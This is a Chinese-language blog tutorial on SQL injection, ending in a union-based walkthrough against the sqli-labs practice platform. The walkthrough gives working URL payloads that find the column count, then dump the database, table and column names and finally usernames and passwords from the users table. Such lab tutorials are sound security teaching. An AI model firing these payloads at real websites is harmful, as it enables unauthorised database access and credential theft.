SQL注入详解

2021/4/24 2:25:17

本文主要是介绍SQL注入详解,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

SQL注入详解

  • SQL注入原理
  • SQL注入产生条件
  • SQL注入相关知识
    • information_schema
    • 常用函数
  • SQL注入分类
    • 联合查询

SQL注入原理

SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数 是攻
击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现 对数据库的任
意操作。

SQL注入产生条件

A:参数用户可控:前端传入的参数内容由用户控制
B:参数带入数据库的查询:传入的参数拼接到 SQL 语句,并且带入数据库的查询

SQL注入相关知识

information_schema

1、在 MySQL5.0 版本后mysql自带information_schema数据库数据库中需要记住schematatablescolumns三张表
2、schemata表中储存了用户创建的所有数据库的库名,该表字段名为schcma_name
3、tables 表储存用户创建的所有数据库的库名和表名,字段名为 table_schematable_name
4、columns 表存储用户创建的所有数据库的库名、表名、字段名、该表字段名为table_schematable_namecolumns_name

常用函数

version():当前mysql版本
database():当前网站使用的数据库
user():当前mysql的用户

SQL注入分类

使用sqli-labs-master渗透测试平台,作为攻击测试的目标

联合查询

1、判断是否存在SQL注入
先输入?id=1查看回显
在这里插入图片描述

此时实际执行的SQL语句为:

SELECT * FROM users WHERE id='1';

?id=1' 异常

SELECT * FROM users WHERE id='1'';

?id=1' and 1=1--+正常 (–+为注释使后面的’不起作用,+被解释为空格)

SELECT * FROM users WHERE id='1' and 1=1-- ';

?id=1' and 1=2--+ 异常

SELECT * FROM users WHERE id='1' and 1=2-- ';

判断SQL注入为字符型注入

2、查询该数据表的字段数量
?id=1' order by 3--+正常
?id=1' order by 4--+异常
判断字段数为3

3、利用获得的列数使用联合查询,找到数据呈现的位置

?id=-1' union select 1,2,3--+

在这里插入图片描述
根据回显可以看出2,3为数据呈现的位置

3、利用information_schema进行爆库

?id=-1' union select 1,database(),3--+

在这里插入图片描述
根据回显数据库名为security

4、爆表

?id=-1' union select 1,(select group_concat(table_name) from information_schema.columns where table_schema='security'),3--+

在这里插入图片描述
根据回显表名为emails、referers、uagents、users

5、爆数据
这里选择的是user表

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3--+

在这里插入图片描述
根据回显user表的字段为id、username、password

6、爆数据

?id=-1' union select 1,(select group_concat(id,0x3e,username,0x3e,password) from users),3--+

在这里插入图片描述

(持续更新)



这篇关于SQL注入详解的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!


扫一扫关注最新编程教程